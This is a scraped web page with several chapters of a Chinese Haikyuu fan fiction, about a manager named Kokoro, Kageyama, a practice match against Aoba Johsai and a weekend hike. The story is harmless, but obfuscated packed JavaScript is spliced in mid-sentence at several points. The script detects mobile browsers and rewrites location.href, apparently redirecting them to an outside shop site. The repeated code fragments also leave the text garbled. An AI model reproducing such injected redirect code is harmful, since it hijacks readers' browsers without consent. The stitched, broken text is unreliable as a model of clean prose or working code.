在看到他苦瓜色的脸庞后，心音萌生了一种不详的预感。出于本能，她紧紧护住了自己的后脑勺，即使日向再怎么样也不会往这个方向发球。 “啪” 排球馆陷入了诡异的寂静。 日向的发球正中影山的后脑勺。 反应过来的田中和月岛非但没有安抚影山的情绪，他们还煽风点火地张牙舞爪笑着。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107890|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 气压低沉的影山一步步地走向惊慌失措的日向。 仁花很有代入感地即将眩晕，她强撑着说道：“日向，会死的吧，心音。” “诶，但是影山看起来没有想要杀掉日向。”心音冷静地分析着。 ...不要一本正经说这么可怕的话啊，仁花只能在一旁为日向祈祷。 不过影山飞雄确实没有对日向做什么，从旁观者的角度，他只是凑近日向讲了几句话。这几句话大概颇有成效，日向的眼神不再飘忽，甚至进入了不动如山的状态。 听着心音这样分析的仁花不由得举起手插话到：“他真的不是被吓傻了吗。” 第一场结束的休息时间，田中前辈叫住了被仁花和心音递水的日向。 他的身上不知何时又挂上了乌野的披风，或许是因为田中前辈的气势产生的幻觉也说不定。本来封闭的排球馆犹如为田中前辈搬来一台鼓风机一样，把他的披风吹得鼓鼓作响。 “喂，日向。”他双手抱在胸前，“你难道想和其他人打得一样好吗。” 日向翔阳想要变强的心丝毫不逊色于场上的任何人，不过在排球场上，客观实力的差距没有办法通过“斗志”一下子填平。 承认自己暂时的不足，认识到自己在场上目前的定位，和追求变强一样难能可贵。 战术也是一个队伍实力的一部分。 “即使知道你的实力存在不足，我们照样让你上场了吧，要明白自己在场上的任务。” 他大手一挥，指向站在一旁的诸位：“网的这一边，都是你的队友。” 所以，不用被可能的失误绊助你奔跑的步伐，只需要拼尽全力地奔跑。 ——“因为，你的身后就是你的学长、你的队友。” 田中前辈指了指自己。 “来，叫我田中学长。” “田中学长！” 不止是日向，连站在一旁的心音和仁花也用亮闪闪的钦佩的目光注视着田中学长。 “哇咔咔咔，再叫一声。” 三小只齐刷刷地说着：“田中学长！” 田中学长被三倍的幸福冲昏了头脑。 旁观的清水学姐把星星眼的仁花和心音带离了赛场。 “这样可不行哦。”清水学姐制止了她们满足田中学长的行为，“一个日向的田中学长就可以让田中飘飘然了，再加上你们两个。” 清水学姐指了指赛场上的田中学长，虽然裁判已经吹哨，他还是双手抱胸，在原地“哇咔咔”地大笑着。 “看到了吗，田中完全沉浸在一声声学长中了。” 最后，是大地学长亲切的呼唤让田中学长回归了真实的世界。 矢巾秀向对面投去艳羡的目光，他面向岩泉一，激动地指了指乌野的经理三人组：“岩泉学长！我也想要被好看的经理大声地叫着学长！” “你看乌野的气氛，完全都不一样了。” 乌野的氛围确实有所不同，不过最大的不同并不是来自田中。 他与网另一侧的日向对视了。 那种微妙的感觉，来自乌野的十号。 岩泉一分辨得出那种眼神。 是食肉动物打算开始狩猎的时候，跃跃欲试的眼神。 19. chapter 19 一个合格的诱饵，首先要成为众人眼中的焦点。 具有肉眼可见的非同寻常优势的选手，是赛场上天然的焦点。 他们可能拥有超出常人的身高，或许拥有健壮的体魄。凭借这些先天的优势，率先让在场的选手与场下的观众产生畏惧。 还有一种令人瞩目的选手，他们的光芒绽放于一场场比赛的积累。 在众人的口口相传中，他们成为了不可战胜的强敌。 最后一种诱饵，他们淹没在人群里。 他们寂寂无名，又缺乏天然的优势，甚至被人视为队伍的突破口。 “乌野的十号，这么矮的个子打排球，一定很辛苦吧。” 然而，一旦对自己的对手放松警惕，就是危险来临的时候。 他们会露出獠牙，一击毙命。 没有人能够跟上日向翔阳的速度，除了排球。 他从球场的一边奔向另一侧，丝毫没有犹豫地高高跃起。 影山飞雄的托球稳稳地落在他的掌心，然后大力扣下。 怪人快攻突破了青叶城西的防线，也改变了众人心中对乌野十号的评价。 而在这种心理反差下诞生的诱饵，远比普通的诱饵更加耀眼。 这就是暂为弱队的乌野所想出的以弱胜强的战术。 凭借这样的战术，乌野拿下了第二局的胜利。 不过在第三局开始前，新面孔登场了。 栗原心音对他有些印象，原因是在国一时，飞鸟经常带着她去看排球部的比赛。 虽然他的球技和长相也很惹人注目，但是最让她在意的是他在球场上的“调度”。 就像战场上的指挥官一样，时刻把握队友以及对手的状态，然后做出合理的判断和调度。 在听过心音这样的比喻后，飞鸟有些惊讶：“心音说的相当准确哦，不过我在赛场上最不愿意遇到这种对手了，一下子就把我的性格球风什么的分析透彻，这种人一定会让我越打越急，然后频频失误。” 光是这样想着，竹早飞鸟就痛苦地抱紧了自己的脑袋。 “既然有所防备的话就打得冷静一点嘛。” 飞鸟果断地摇头：“冷静，这不是我竹早飞鸟的风格。” 及川彻在与观众席打完招呼后，转身看向了网的另一边，他颇为亲切地笑着，还挥了挥手：“你好呀，小飞雄。” 田中前辈对这种女粉丝众多的池面颇有意见，他的黑脸上明晃晃地写着“在意”二字：“影山，那个相当招摇的人到底是谁啊。” “是青叶城西的二传手及川彻。”大地学长和同为二传手的菅原都对他有印象。 “是个球技很好，但是性格恶劣的家伙。”影山飞雄认真地补充道。 连影山都觉得性格恶劣的可怕的人吗。 日向的心中脑补出了自己被及川彻发来的球一下弹飞，性格恶劣的及川一边比鬼脸一边嚷嚷着“垃圾日向，再去练一百年吧”。 他发散的思维一下子被影山的魔爪给拉回，日向的圆脸揪成了一个大饼：“如果你在害怕他恶劣的性格的话，那先过了我这关再说。” ...我应该没把自己的心里话说出来吧。 日向揉了揉自己的脸。 不过青叶城西的主将并没有在第一时间上场，乌野凭借着原先的战术布置打开突破口，率先来到赛点。 就在此时，青叶城西换阵了。 完成热身的及川彻踏上了赛场，而此时正是他发球的轮次。 他捧着排球，像是一个虔诚的信徒，然后进行助跑，高高跃起。 是一记相当完美的大力跳发，瞄准了正位于边角的月岛萤。 排球擦过他的手臂，反弹到观众席的栏杆上。 为了应对他的发球，乌野也变换了队形，由接球最稳的大地学长负责更大的接球范围。 显然，及川彻也看出了乌野的意图，他再次提高发球的精度，不过球的力道也因此变弱。 他的大力跳发被接住了。 不过依然是青叶城西的优势球，金田一跃到空中，准备扣球。 就在这时，他的视线里出现了日向的手。日向的眼睛并没有注视着他，而是始终落在排球上。 在完成一次触球后，他迅速跑向了另一边。 比前几次的奔跑的速度更快。 他一次又一次地高高跃起，不过这一次，他没有闭上眼睛。 在挥下手的那一刻，日向和及川对视了。 排球落地，一声哨响，乌野拿下了这次比赛的胜利。 与身后队友不服气的眼神不同，及川彻的瞳孔微张，露出了兴奋的表情。 不过下一秒，他就捂住了自己的脑袋： “iwa酱，你无缘无故这样打我干嘛。” “别露出那么恶心的表情啊，垃圾彻。” “我要伤心死了小岩...” / 另一旁，拿下比赛的乌野众人纷纷向武田老师鞠躬。 菅原小声地提醒着还愣在原地的武田老师：“老师，给点评价吧。” 道行稍浅的乌野众人还在等待着老师的评价，而熟悉小武老师讲课方式的心音在他交叠其自己双手的那一秒就掏出了自己随身携带的笔记本。 那里有专门为小武老师开设的好词好句专栏。 小武老师一边开始沉浸式发言，心音则在一旁充当着忠实的记录官。 【也许在这个瞬间，在某个地方，也发生了一场改变世界的邂逅】 她奋笔疾书着。 影山莫名地联想到了心音曾跟他说的话，或许她和小武老师很有共鸣也说不定。 他悄悄望向栗原心音，然后身躯一震。 ——已经共鸣到会拿出本子记录的程度了吗。 小武老师说完，身前的众人都微微张嘴，他不好意思地看向别处：“那个，我刚刚说的太文绉绉了。” “完全没有这回事。”心音首当其冲说道。 排球部的诸位也再次鞠躬：“谢谢！” 栗原心音目睹影山飞雄一边收拾东西一边东张西望，她走到他跟前：“金田一同学好像往厕所方向走了。” “我没有说要找他...” 很显然，她丝毫不相信这种说法，并且催促他最好快点。 影山仍然坚持自己的话，同时迈向卫生间。 ——希望这次能解开他们之间的心结。 / 影山飞雄与金田一的厕所会谈持续的时间不长也不短。 从影山分毫不变的表情里完全猜不出会谈的结果是什么样的。 好奇的心音从队伍的一侧偷偷潜入另一侧，企图询问影山对话的结果。 不过她的计划被在校门口蹲守着的及川彻拦截了。 在这种情况下自己明显不能第一时间获取信息了。 颇为不满的心音头一次开启了自己的攻击模式，她不怀好意地猜测道：“及川学长肯定为了在门口拦截我们，所以早早地跑到大门口吹了很久的凉风，哼。” 离她最近的影山在听完这种言论后，不由得在脑海中浮现出及川一边发抖一边摆pose的场面。 这样畅想的后果是，在听到及川学长向他下战书后，他的脑海中还萦绕着在风中瑟瑟发抖的及川的身影。 ...如果他没有看错的话，影山飞雄是在笑吧。 什么时候他已经进化成面对他的挑衅还能笑而处之的境界了。 及川彻警惕地看向蜕变的影山，留下了一个优雅的背影。 栗原心音将这样的场面尽收眼底，她心中的小人默默地跟被殃及的及川学长道了歉。 ——让及川学长生出了多余的顾虑，实在抱歉。 心音收回自己的思绪，重新好奇地询问影山：“刚刚怎么样了。” 他们一行人踏上了校车。 仁花拽着清水学姐坐在了一块，其余人也两两组队，菅原学长向他们两人指了指空出来的二人座。 “也不知道算不算解决了。”影山的表情相当困惑，“金田一让我不要道歉，然后我们都说了下一次的赢家是我们队。” 心音严谨地思索着：“我知道了，凭借我看少年漫的经验，你们和好的方式应该不是一笑泯恩仇的类型，而是靠在赛场上的交锋渐渐了解对方。” “很酷的解决方式。” 影山飞雄并不了解这些复杂的解决模式，他露出了一双豆豆眼。不过栗原心音好像并没有想要给他解答问题的意思。 他摸了摸自己的口袋，随身听还安静地躺在那里。 忘记还了，他这样想着。 一侧的心音注视到了他从口袋拿出的随身听：“要一起听吗。” 她询问道。 不知道该不该接受，但是也没有拒绝的理由。 影山飞雄最后点了点头。 她接过随身听，分给影山一边耳机。 在影山戴上后，她也侧过身，戴上剩下的另一只。 栗原心音的一缕发丝蹭过他的手背，就像是一片羽毛在他心里打了个转，又立马收回。 扎起来的头发是活力满满的象征， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107891|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那现在散落的头发是累了的表现吗。 早上出发时她和仁花的对话不知为何又浮现在了他的心中。 ...在高强度的训练赛后，大家应该都累了。 他听到田中前辈的呼噜声正嗡嗡作响。 栗原低垂着头，大概是在挑选随身听的乐曲。 过于寂静的车厢里呼吸和心跳声一同被放大，影山飞雄的思绪在排球、学长以及身旁的栗原心音之间来回乱窜，就像是世间最杂乱无序的乐章。 他猜测自己此时乱转的大脑和不正常的心跳大概率是源于剧烈运动的后遗症。 耳机里传出的声响总算让他翻飞的心得以安定下来。 “这首歌叫黄昏。” 同样意识到忙碌一天的大家都陷入了沉眠，栗原心音放低了音量，她轻轻地拉开窗帘。 只露出一角，但已经足以看到那笼罩着整片天空的余晖。 太阳在慢慢地下坠。 人的记忆中总会留存着那样几个深刻的画面，它原先蛰伏在你的脑海里，让你都遗忘了它的存在。 又在下一个你毫无防备的瞬间再次汹涌地袭来。 他们的眼中重叠的是一样的落日。 ——想再去一次山顶。 不约而同的，他们这样想着。 回到家，心音在自己床上来回打转。 她不是受一时情绪的上涌支配自己行为的那类人，相反她更愿意按照安排好的日程计划办事。 但她把周末的那一页日程撕下了。 分析不出自己这种心情的缘由，也没有办法将这种心情按照过往的经历分类。 自然的、可接受的邀约需要充足的理由，不然就会有被拒绝的可能性。她很清楚这个道理。 过去使用过的见面的缘由被一一罗列在纸上。 以练习排球为契机的锻炼已经完成了。 影山的奶奶带着小迪去乡下了，所以遛狗这一项也被划掉。 …落日，什么时候都能再看一次的吧。 也不急于一时。 突如其来的冲动被理智拉平，栗原心音松了一口气，黑色的手机屏幕上倒映着她的面孔。 握着的手机忽然间“嗡”地振动一声。 【影山飞雄：周末去爬山吗】 【影山飞雄：小迪最近很缺少运动】 【影山飞雄：奶奶把它带回来了，还说它学会了后空翻】 【影山飞雄：你想看看吗】 见面的动机已经恰如其分地摆在了她的面前。 让她有些在意的是这种有些微妙的既视感，简讯上的文字和自己列出的动机刚好重叠。 …… 但是让单细胞的影山费劲心机约她在这个周末见面的可能性，在栗原心音的心里比影山飞雄穿女装的可能性还要低。 果然是巧合啊。 她陷入松软的被窝，侧过身一字一句地回应着。 【Kokoro：期待！杂技小狗小迪的诞生！】 从在回程的车上到家的这段时间，影山飞雄也搞不清楚他自己在想些什么。 等到他回过神，自己已经给去乡下并且今天要回来的妈妈打了电话，并且叮嘱她顺道把小迪带回家。 在接到小迪后，他拿起手机发出了那样的简讯。 但是栗原一点都不喜欢爬山。 所以需要外加一些更加充分的理由。 他和身旁歪着头的小迪面面相觑着。 在他发送这些消息的期间，比熊晃头晃脑地来到他的身边试图了解这名小主人到底在悄眯眯地干什么事。 而栗原心音的回复就在此时被接收。 影山和小迪一同注视着屏幕上的简讯。 小迪用自己沉甸甸的脑袋锤了锤影山的胸口。 他从小迪毛茸茸的脸上竖着的豆大的眼睛里看出了震惊和嫌弃。 影山飞雄不自在地摸了摸自己的鼻子，摸了摸气呼呼的小狗的脑袋，在搜索栏里敲下这样的字。 【怎样特训比熊学会后空翻】 …… 我的训练赛后遗症应该还没好。 搜索记录清清楚楚地陈列着他究竟做了什么事情。 头一回，没有任何不良搜索习惯的影山飞雄无师自通地学会了一键清空搜索记录这个功能。 他看了看在床上翻滚的小迪，它显然还没有消气，自顾自地拿着屁股对着他。 他把拿头锄被子的比熊翻了个面，轻轻按住它反击的双手。 “我们来学一个超厉害的特技吧。” 20. chapter 20 最早发现栗原心音和影山飞雄相处模式似乎有些不对劲的是菅原孝支。 这种奇怪的现象大概是从周四和青叶城西打完训练赛开始的。 不过比起影山，栗原显得更不自然一些。 每当影山和她搭话的时候，她就会像炸毛的猫一样蹭一下窜起来，然后装作若无其事地摸摸自己的脑袋，看似专注实则神游地进行一些回答。 比如当影山询问缩在角落一声不吭的心音最近是不是有点累的时候，她会啪一下站起来，“爬山一点都不累。” 但是更加神奇的是影山飞雄似乎不觉得这样牛头不对马嘴的对话有什么不自然的地方，他点点头接着练习排球。 在菅原第八十八次注意到这种场景时，大地突然拍了拍他的肩膀：“我说，菅原。你也发现了对吧。” 他的四周突然冒出好几个脑袋，日向和田中对这种事情很感兴趣倒也不奇怪，但是为什么连月岛也一脸变扭地加入了讨论的队伍。 总之，关于影山飞雄和栗原心音之间异常互动的探秘小分队暂时成立了。 “哈，应该是王者告白被拒绝了吧。”月岛推了推自己鼻梁上的眼镜。 “告白！！！”日向一下窜起三米，被旁边的菅原赶紧按下。 “这样动静太大会被影山发现的。”他示意日向保持冷静，不过日向的脑袋还是热得冒烟，暂时地罢工了。 山口举手表示质疑：“但是如果是影山告白失败了，他应该不好意思搭话才对，但是最近是栗原降低了和影山交流的次数哦。” 小分队的大讨论陷入了僵局。 菅原突然灵光一闪：“我记得是从和青叶城西打完训练赛开始的吧，大家还记得发生了什么吗。” 在场的诸位当然记得一清二楚。 从回程上车的时候注意到栗原和影山落在队伍后面说着话时，他们就在一个对视间诞生了这个计划。 首先是为两人营造出适合独处的空间。 为了让他们讲起话来更自在些，田中前辈假装打起了呼噜，不过他还半张着眼睛观察着四周。坐在一旁的日向心领神会，两脚一伸，也打起了呼噜。 于是两人压低音量的对话就溜进了“睡着”的众人的耳朵。 “我猜，是不是影山单独约了栗原去爬山。”菅原猜测到，毕竟栗原神游的时候突然冒出来的爬山很难让人不在意。 小分队智囊团成员之一的月岛也对这一猜测表示赞同。 他们莫名地感觉自己身后像是有一道灼热的目光，菅原缓缓转头，是不知道什么时候站在他们后面的影山飞雄。 也不知道他们的对话被听去多少。 “你们是在讨论什么新的战术吗。”影山飞雄这样问到。 事实上完全没有在讨论战术的诸位内心浮现了羞愧的情绪，他们摇摇脑袋不敢跟一脸认真的影山飞雄对视。 最后可靠的大地学长站了出来：“刚刚我们在说去哪里聚餐的事情，毕竟打赢了青城。” “影山有什么想吃的吗。” “只要有猪肉咖喱温泉蛋饭就可以了。” “诶——真是平平无奇的一如既往的选择呢。”月岛捂着嘴笑着。 “哈——” 心里有鬼的菅原和大地完全没有分开即将缠斗的二人，他们纷纷舒了一口气，总算成功转移话题了。 / 心里有鬼的人还有栗原心音。 她完全明白自己最近的行为有多不正常，连仁花和清水学姐都询问她是不是有什么心事。 但是心音不好意思跟她们诉说自己的心思。 因为她发现自己产生了人类四大错觉之一——他是不是喜欢我。 怀疑对象还是自己的好朋友影山飞雄。 她下意识地又在本子上分析影山用小迪约她去爬山的行为动机，鬼使神差的，她在本子上写下了“他喜欢我？”这四个字。 本子上的四个字灼得她指尖发烫。 她把那张纸撕下，然后卷成一团，随后趴在课桌上。 “呜——” 虽然这种假设只是出现了一秒，并且迅速被自己否决了，但是栗原心音还是对自己这样揣测好友的行为感到不安。 所以在影山飞雄一如既往地跟她说话时，她产生了想要把自己埋进排球馆地底下的感觉。 不可饶恕的栗原心音，她在心里这样审判着自己。 于是，自觉难以面对影山飞雄的心音找上了清水学姐，并询问她是否可以用繁重的社团事务压垮她。 然而这样的请求遭到了学姐的拒绝。 “我觉得心音应该先调整好自己的状态哦。”学姐温柔地拍了拍她的脑袋。 不过善良的仁花给了她调整自己状态的机会。 “我想帮排球部画一张海报。”她不好意思地递给心音一张海报的初稿，“但是我的画工什么的都太青涩了，可能效果会不大好。” 即使只是海报的雏形，心音还是一眼认出了那是日向击球时的样子。 她转了转手中的笔：“感觉画的很不错呢！” 她的视线转移到自己桌上的笔记本上，一个朦胧的想法浮现在她心中，心音向仁花招招手，“仁花，你觉得这个想法怎么样...” 小武老师表情严肃地审视着自己手上的纸。 站在他面前的心音和仁花悄悄握紧彼此的手，屏住呼吸。 “这个连环画——画的非常有意思呢。” “真的吗！”心音和仁花几乎要贴着小武老师的桌子。 “如果是我看到这些画，肯定会觉得排球部很有意思呢。”小武老师好奇地询问着，“这是你们两个分工画的吗。” “我的画画水平完全没法看，所以我写了脚本，然后麻烦仁花帮忙画画。” “心音对大家的观察，包括性格什么的都很仔细呢，是不是有什么创作笔记。”身为国文老师的他明白这种看似简单的脚本实际上更注重对角色性格的把握。 心音把自己随身携带的本子拿给小武老师。 小武老师仔细地翻阅起来。 厚厚的本子分人物板块分析着排球部每个成员的性格，连小武老师自己都被记录在册。 自己看自己的性格分析总有种莫名的羞耻感，特别是习惯的口癖和动作一栏。 ——原来我每次诗兴大发的时候都会双手交叉在胸前吗。 小武老师对自己的理解更加深刻了，不过栗原同学相当善良地给了他极高的评价，一行行夸赞让小武老师有些不好意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107892|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 其实仁花第一次看这个本子也是这种感觉。 “该怎么说呢，栗原同学的观察力相当出色啊。” “仁花也觉得这是非常厉害的能力。” “但是也不完全是什么好事吧。”心音低着头反驳着，“小武老师和仁花看到的时候不觉得有些奇怪吗。” ...其实更直白地说，是觉得可怕。 小武老师笑了笑：“心音是说觉得看到这些会觉得害怕吗，比如自己的性格一下完全被心音扒光了什么的。” “如果心音真的觉得大家会因为这个疏远你，也不会把这个本子给我和仁花看吧。” “我猜你心里想的一定是——小武老师和仁花是值得信赖的人，对吧。” 仁花的眼睛已经变成了蛋花眼的形状。 即使是看起来比同龄人更加成熟聪明，但是说到底还是刚上高中的孩子。一边担心自己特殊的才能被人视作怪胎，一边又忍不住伸出自己试探的触角，希望从身边值得信赖的人那里得到正向的反馈。 在这种时候，推这样的孩子一把，就是小武老师选择成为一名老师的初衷。 他站到心音面前，揉了揉她的头发：“不管别人会怎么觉得，这种才能也是你天赋的一部分。” “勇敢地接纳自己的全部也是成长的必经之路。” 不过小武老师并没有维持这种正经的姿态多久，他拍了好几下心音的肩膀，“小武老师我可是超级羡慕这种天赋，栗原你千万不要荒废掉啊。” 随后，呆愣在原地的心音和仁花不得不听完了小武老师大学时期艰难的投稿之路，包括但不限于被杂志社批评“辞藻过于华丽”“人设把控不清”等等一系列的退稿理由。 ...从小武老师苦涩的表情可以看出那算的上很深的心理阴影了。 “不过栗原也不要太在意我今天说的话，就算是在某一方面有天赋，能做自己喜欢做的事情当然是最幸福的。” “就算暂时没有喜欢的事情，那不就更意味着有数不胜数的未来吗。” 心音和仁花消化着这来自成年人的巨大的信息输出。 不过小武老师误解了她们的反应，他缩进了自己的座位里：“...抱歉一不小心就说了这么多大人正确的大道理...” “完全没有这回事！”心音和仁花异口同声地说着。 “小武老师如果写书的话，我一定会买来放在家里书柜的最顶上。” 但是放在最顶上的书真的看的相当少，毕竟拿起来非常不方便，心音颇有经验地想着。 小武老师显然被仁花的话感动到了，他流露出“酒逢知己千杯少”的表情，心音觉得如果不是因为仁花未成年，小武老师今天一定会和她不醉不归。 在送走了自己的两位知己后，小武老师斗志昂扬地再次拨打着电话。 听说日向他们在为了迎回旧成员努力，仁花和心音也竭尽所能地想要宣传排球部，清水也依然在为排球部贡献力量，自己也不应该只满足于说服乌养教练。 小武老师拿出自己的通讯录，又开始了新一轮的拨打电话的伟业。相较于一开始全是叉的记录，打钩的电话逐渐有了增长的趋势。 ——排球部一定会越来越好，他这样确信着。 21. chapter 21 青色、白色或是黑色。 长裙、短裙、连衣裙还是简约舒适的日常衣服。 心音头一次体会到了搭配衣服的头疼之处。 最后，她低头看了眼穿得和平常别无二致的自己，叹了一口气。 ...在爬山的时候穿得那么华丽肯定会很不方便吧。 但是，等在门口的影山打扮得跟之前完全不一样了。 首先是不知道从哪里买来的奶黄色的休闲装，然后是修身的浅蓝色长裤，最后是被梳得整齐的头发，准确地来说，就像是每一根发丝都经过了精心打理一样。 一点都不像影山的杰作呢。 大概是被她直勾勾地看着有点不自在，影山偏头扯了扯自己的衣领。 ——都怪妈妈在知道他今天要出门后，强行摁住往门外冲的他，然后给自己换上了这些奇怪的衣服。 ...连头发都让人有点不自在。 心音向影山招招手，示意他弯下腰。她揉搓了一番影山M型的刘海，手感硬邦邦的，味道闻起来有点像被发胶腌入味的木兔用的那款。 这难道是专门面向男高中生的时尚单品吗。 她摸摸自己的下巴，故意摆出一副沉思的表情：“根据我的推理，影山一定是被妈妈强行换了这套衣服，还被抹了XX牌的发胶吧。” 她一边摆出推理大师的样子，一边悄悄睁开一只眼睛。 果不其然，影山飞雄已经完全被栗原大师的推理折服了。 她高深莫测地调整自己包包的肩带，淡然地向前走去。 没过几分钟，心音就后悔了。 因为影山以及他拽着的小迪都用一种惊叹的目光灼烧着她的背影，让人想要忽视都难。 她决定少看几部侦探动漫，看来想当名侦探不仅要有超强的推理能力，还要有能淡然接受周围人火热目光的能力。 显然，心音毫不具备这种能力，光是被两道目光盯着，她摆出的名侦探的架子就要露馅了。 她转身看向一直落在她身后的一大一小两只。 “快点跟上哦，不然到山顶太阳早就下山了。” ...... 倒也不用这么听话。 心音站在原地吃了满嘴极速奔跑的影山和小迪扬起的灰尘。 但是站在原地等那两只自己停下来发现她没有跟上的可能性微乎其微，心音挽起袖子，长舒一口气，目光如炬地看向影山和小迪消失的方向。 既然如此，就一口气赶上他们，然后再大声地叫他们不要跑那么快。 顺便检验一下自己的运动水平在停止锻炼后退化成什么样了。 / 要在短短的一天体悟这么多次后悔的滋味，心音觉得这在她的一生里可能都算少之又少的经验了。 她瘫倒在半山腰的长椅上，举起水瓶往自己的嘴里灌水。 和她形成鲜明对比的是站在面前一边观察她一边神色如常喝着水的影山，以及精力充沛地拉着她的衣服企图再次奔跑的小迪。 就在几分钟前，她活力满满地赶上了停在路边的两位，然后放下大话：“哼哼，要被我超过了嘛。” 于是，她看着一人一狗被她这句话点燃。 “哈？！”影山飞雄挑了挑眉，小迪也在后面汪汪地叫着，“那就来比比谁跑的快吧。” 所以局势就演变成了现在这个样子，悠闲的周末登山计划变成了斯巴达式的锻炼，而导致这一切的罪魁祸首还是自己的一句挑衅。 “我投降了。”心音用自己最后的力气举起双手。 影山和小迪对视着，小迪跃起与影山击掌，宣告着这一战役的胜利。 而败者心音给身处东京的飞鸟编辑着简讯。 【Kokoro：我有一种在接下来我会越来越傻的预感，如果我提前痴呆，麻烦飞鸟取出我屯的养老基金为我养老，卡号和密码都在日记本里鞠躬jpg.】 飞鸟茫然地看着这条奇怪的简讯。 【飞鸟：？】 【飞鸟：哈！一定是真心话大冒险输了吧心音。】 太阳的角度微微偏移，几缕阳光洒到她的脸上。虽然晒太阳可以长高，但是在运动完被太阳烘烤实在是难受的体验。心音正打算稍微挪动一下自己的位置，以完全地躲在影山的阴影里。 不过在她移动前，站着的影山就已改变了位置。 恰好遮住了全部的太阳。 他递给她一个蛋白棒，蛋白棒的图标和影山经常喝的那款牛奶的图标一样，都是一只可爱的长颈鹿。 不同的是蛋白棒上写着这样几个大字——长高高蛋白棒。 那影山就是喝长高高牛奶长大的。 她的脑海里浮现出小影山板着张脸，一本正经地啃着长高高蛋白棒并乖乖喝着长高高牛奶的画面。光是想想就不知道要用什么样的表情来看影山了。 一开始，影山飞雄还猜想着，如果在球场上遇上栗原心音，她肯定是个难缠的对手。 毕竟她的观察力对每个二传手来说都相当棘手。 但随着越来越熟悉，影山飞雄逐渐改变了这个想法。因为与观察力相对的，她也意外的好懂。 就像现在这样，她眼中带着笑意，莫名看向他，就像是一只张牙舞爪说着我在打坏主意的狐狸。 ...... 就当做什么都没有看出来好了。 吃完长高高蛋白棒并在阴影处修整许久的心音满血复活了，即便如此，她还是提议现在剩下的路程慢慢走完全来得及，跑步去什么的就没有必要了。 好在影山和小迪对她的建议表示赞同。 在即将爬到山顶前，她疑似幻听了日向的叫声，还有菅原学长低声说话的声音。 但在抵达山顶后，山顶的亭子里丝毫没有任何的人影。 她绝对是太心系排球部以至于在周末都幻听了。 另一边的草垛里淅淅索索地露出好几双眼睛。 及时隐藏起来的菅原松开了捂住日向的手：“日向，再怎么样也不能那么大声地喊出来。栗原她绝对是听到声音了。” 日向抱歉地挠挠头：“刚刚一下子太激动了，就拉着学长的手说你猜对了。” 大地学长蜷缩在角落，说实在的，他也不知道自己为什么同意了这几个人的计划。简直以后都愧于用学长的身份面对栗原和影山了。 “总之，我们只是来确认一下菅原的猜测是不是对的，接下来就偷偷溜走吧，要注意非礼勿视哦。”大地学长严肃地向面前的几人叮嘱着。 【非礼勿视】 日向的脸“嘭”一下完全变红，他直直地往后栽。 月岛和山口接住了倒下的日向。 就算是当聋子也没办法忽视那边的动静了吧。 心音看着不断晃动的灌木丛，灌木的缝隙不算小，黑的橙的绿的白的以及没有头发的脑袋完全暴露在缝隙中了，而能在这个地方集齐这么多发色的，除了乌野大概也找不到第二家了。 要去揭穿他们吗，心音对影山比了比口型。 影山点点头。 于是两人拨开了草丛，他们正蹲着蹑手蹑脚地打算离开。 “你们在做什么。”影山突然开口问道。 乌野的众人像叠叠乐一样被吓得倒成一团。 年长的学长三人组面色悲凉地看着地面，接受着自己的学长颜面扫地的事实。 月岛萤从叠叠乐中抽身，他镇静地摸了摸自己的脑袋：“我们本来打算来团建的，但是发现你们也来这约会了。” 他推了推架在自己鼻梁上的眼镜：“所以不想打扰你们的约会，大地学长就叫我们悄悄离开了。” 不愧是阿月，即使被抓包也能这么从容，山口夸夸在内心这样说道。 虽然并不打算相信这个说辞，还有“约会”是什么奇怪的说法，但是月岛同学目前在她的观察本中还是“不爱凑热闹”的一类人。 心音打算暂时相信这个说辞，不过以后可能要在月岛“不爱凑热闹”这个特性上打上存疑的符号了。 呆在原地的影山比心音更轻易地接受了这个说辞，但是他有些沉重地问道。 “为什么团建没有叫上我。” 其他几人包括心音的神经都紧绷了起来。 “影山不是跟日向说过这周末没有空吗”菅原学长飞速地转动着自己的大脑。 影山飞雄确实记得自己拒绝了日向这周末打排球的邀请。 肉眼可见地开心起来了，众人看着头上插着太阳花的影山，舒了一口气。 “既然如此。”心音拍着手掌，“大家一起来看落日吧！还有小迪的杂技哦！” 大家的目光在听到这句话后一同投向了影山和他手中的小狗。 “小迪——是会后空翻的超级比熊哦。”心音自豪地向乌野的大家介绍着小迪的杂技。她看着大家的眼睛充满了狐疑，不以为意。 大家越是不相信，越能体现出小迪出众的才能。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 